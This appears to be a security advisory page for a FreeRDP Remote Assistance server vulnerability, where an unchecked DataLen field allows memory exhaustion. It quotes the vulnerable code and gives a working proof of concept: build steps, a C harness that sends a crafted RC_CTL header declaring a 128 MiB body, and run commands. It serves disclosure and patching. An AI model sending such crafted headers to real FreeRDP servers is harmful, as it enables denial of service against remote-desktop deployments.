Read the docs

FreeRDP Remote Assistance server accepts an excessive client-controlled DataLen and…

Priority MEDIUM 44CWE-770Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-rp99-f9qv-c446. Fix status from GitHub. Impact type from CWE-770.

Summary

### Summary FreeRDP 3.33.0 and current master contain a missing limit check in the Remote Assistance server channel. The parser checks ChannelNameLen against the intended 128 MiB DataLen limit instead of checking DataLen. In a deployment with this server channel enabled, a low-privilege authenticated RDP client can send a valid 22-byte RC_CTL header with DataLen=0x08000000 and withhold the body. On the tested production thread, that header caused a stream allocation of approximately 128 MiB before any body data was supplied. The unchecked 32-bit value permits a declared size approaching 4 GiB; concurrent remdesk sessions can retain these allocations cumulatively, driving the server process toward memory exhaustion or allocation failure. ### Details The vulnerable code is in channels/remdesk/server/remdesk_main.c:535-599: ~~~c const UINT32 LengthName = Stream_Get_UINT32(s); if (LengthName > 64) continue; const UINT32 LengthData = Stream_Get_UINT32(s); const size_t DataLengthLimit = UINT32_MAX / 32; if (LengthName > DataLengthLimit) continue; PduLength = LengthName + LengthData + 8ull; if (pos < PduLength) Stream_EnsureRemainingCapacity(s, PduLength - pos); ~~~ The first check already restricts LengthName to 64, so the second check can never reject a valid LengthName. LengthData remains an unchecked 32-bit value. PduLength is then calculated from that value and Stream_EnsureRemainingCapacity() grows the stream before the declared body is received. Stream_EnsureCapacity() reallocates the buffer and zeroes the newly allocated region in winpr/libwinpr/utils/stream.c:44-99. The server path is reachable in supported shadow-server builds. server/shadow/shadow_channels.c:33-36 initializes Remote Assistance when the client joined the remdesk static channel; server/shadow/shadow_remdesk.c:27-43 starts the context; and channels/remdesk/server/remdesk_main.c:641-659 opens the channel and creates remdesk_server_thread(). The regression was introduced by the server-side packet-reading hardening commit f1e1359116abca235e0b27a5839400cdc793512, after 3.32.2. The same vulnerable comparison is present in the public FreeRDP 3.33.0 source. The demonstrated impact is service availability loss through attacker-controlled, pre-body allocation retained while the channel waits for more input. ### Proof of concept Environment tested: - Apple ARM64 macOS - Homebrew LLVM clang - FreeRDP source at f0f03eb0290d0ff600696763edf44ea2e37a455b5 - CHANNEL_REMDESK_SERVER=ON - AddressSanitizer and UndefinedBehaviorSanitizer enabled Build the server-side target with Remote Assistance enabled: ~~~sh cmake -S . -B build/remdesk-asan -G Ninja \ -DCMAKE_C_COMPILER=/opt/homebrew/opt/llvm/bin/clang \ -DCMAKE_CXX_COMPILER=/opt/homebrew/opt/llvm/bin/clang++ \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DWITH_CLIENT=OFF \ -DWITH_CLIENT_CHANNELS=OFF \ -DWITH_SERVER=ON \ -DWITH_SERVER_CHANNELS=ON \ -DWITH_SHADOW=ON \ -DCHANNEL_REMDESK=ON \ -DCHANNEL_REMDESK_SERVER=ON \ -DWITH_X11=OFF \ -DWITH_WAYLAND=OFF \ -DWITH_SDL=OFF \ -DWITH_SDL2=OFF \ -DWITH_FFMPEG=OFF \ -DWITH_OPUS=OFF \ -DWITH_GSM=OFF \ -DWITH_OPENH264=OFF \ -DWITH_JPEG=OFF \ -DWITH_CUPS=OFF \ -DWITH_PCSC=OFF \ -DWITH_KRB5=OFF \ -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' ninja -C build/remdesk-asan remdesk-server ~~~ Save the following inline source as /tmp/freerdp-remdesk-poc/poc.c: ~~~c #include <winpr/wtsapi.h> #include <winpr/synch.h> #include <stdlib.h> #include <string.h> #include "channels/remdesk/server/remdesk_main.c" static int reads; BOOL WINAPI WTSVirtualChannelQuery(HANDLE h, WTS_VIRTUAL_CLASS c, PVOID* b, DWORD* n) { WINPR_UNUSED(h); WINPR_UNUSED(c); *b = malloc(sizeof(HANDLE)); *(HANDLE*)*b = (HANDLE)1; *n = sizeof(HANDLE); return TRUE; } VOID WINAPI WTSFreeMemory(PVOID p) { free(p); } BOOL WINAPI WTSVirtualChannelWrite(HANDLE h, PCHAR b, ULONG n, PULONG w) { WINPR_UNUSED(h); WINPR_UNUSED(b); *w = n; return TRUE; } BOOL WINAPI WTSVirtualChannelRead(HANDLE h, ULONG t, PCHAR b, ULONG n, PULONG r) { static const BYTE packet[] = { 14, 0, 0, 0, 0, 0, 0, 8, 'R', 0, 'C', 0, '_', 0, 'C', 0, 'T', 0, 'L', 0, 0, 0 }; WINPR_UNUSED(h); WINPR_UNUSED(t); WINPR_UNUSED(n); if (reads++) { *r = 0; return TRUE; } memcpy(b, packet, sizeof(packet)); *r = sizeof(packet); return TRUE; } DWORD WaitForMultipleObjects(DWORD n, const HANDLE* h, BOOL all, DWORD ms) { WINPR_UNUSED(n); WINPR_UNUSED(h); WINPR_UNUSED(all); WINPR_UNUSED(ms); return WAIT_OBJECT_0; } DWORD WaitForSingleObject(HANDLE h, DWORD ms) { WINPR_UNUSED(h); WINPR_UNUSED(ms); return reads ? WAIT_OBJECT_0 : WAIT_TIMEOUT; } VOID ExitThread(DWORD code) { exit((int)code); } int main(void) { RemdeskServerPrivate priv = WINPR_C_ARRAY_INIT; RemdeskServerContext context = WINPR_C_ARRAY_INIT; context.priv = &priv; remdesk_server_thread(&context); return 0; } ~~~ Compile and run it from the repository root: ~~~sh mkdir -p /tmp/freerdp-remdesk-poc /opt/homebrew/opt/llvm/bin/clang -arch arm64 -fsanitize=address,undefined -fno-omit-frame-pointer -g -DBUILD_TESTING_INTERNAL -DEXPORT_ALL_SYMBOLS -DNONAMELESSUNION -DWINPR_TIMEZONE_FILE='"/var/db/zoneinfo"' -D_DARWIN_C_SOURCE -D_POSIX_C_SOURCE=200809L -I. -Iwinpr/include -Ibuild/remdesk-asan/winpr/include -Ibuild/remdesk-asan -Ibuild/remdesk-asan/include -Iinclude -Ichannels/remdesk/common /tmp/freerdp-remdesk-poc/poc.c channels/remdesk/common/remdesk_common.c -Lbuild/remdesk-asan/winpr/libwinpr -Wl,-undefined,dynamic_lookup -Wl,-rpath,$PWD/build/remdesk-asan/winpr/libwinpr -lwinpr3 -o /tmp/freerdp-remdesk-poc/poc DYLD_LIBRARY_PATH=$PWD/build/remdesk-asan/winpr/libwinpr ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 /usr/bin/time -l /tmp/freerdp-remdesk-poc/poc ~~~ Expected result: - Exit status 0 - No ASan or UBSan report - Maximum resident set size around 172,834,816 bytes on the tested ARM64 host The POC replaces only the WTS transport callbacks. The included production remdesk_main.c and remdesk_common.c execute unchanged. It sends an 8-byte header declaring ChannelNameLen=14 and DataLen=0x08000000, followed by the RC_CTL name, and supplies no body. The harness stops after the allocation so the test remains bounded. The equivalent non-sanitized build reached 141,459,456 bytes maximum RSS. ### Impact This is an uncontrolled resource consumption vulnerability affecting FreeRDP server/shadow deployments that enable the Remote Assistance server channel. An authenticated low-privilege RDP client can join the remdesk channel, send the crafted header, and delay or omit the body. No server-side user interaction is required. One request caused an approximately 128 MiB stream allocation in the tested production thread; the unchecked 32-bit field permits a declared size approaching 4 GiB. Each remdesk server thread owns its stream, so concurrent sessions can retain these allocations cumulatively and drive the server process toward memory exhaustion or allocation failure.

Why it matters now

Fix Fixed FreeRDP (c): 3.33.1

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.33.03.33.1Patch availableGHSA-rp99-f9qv-c446
  • FreeRDP (c) Vendor— Affected <= 3.33.0 Fixed in 3.33.1 Patch available GHSA-rp99-f9qv-c446

Remediation

  • Fix · GHSA-rp99-f9qv-c446 FreeRDP (c) Fixed in 3.33.1 Advisory →

Timeline

  1. 2026-11-17 Threatist record created from GHSA-rp99-f9qv-c446

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences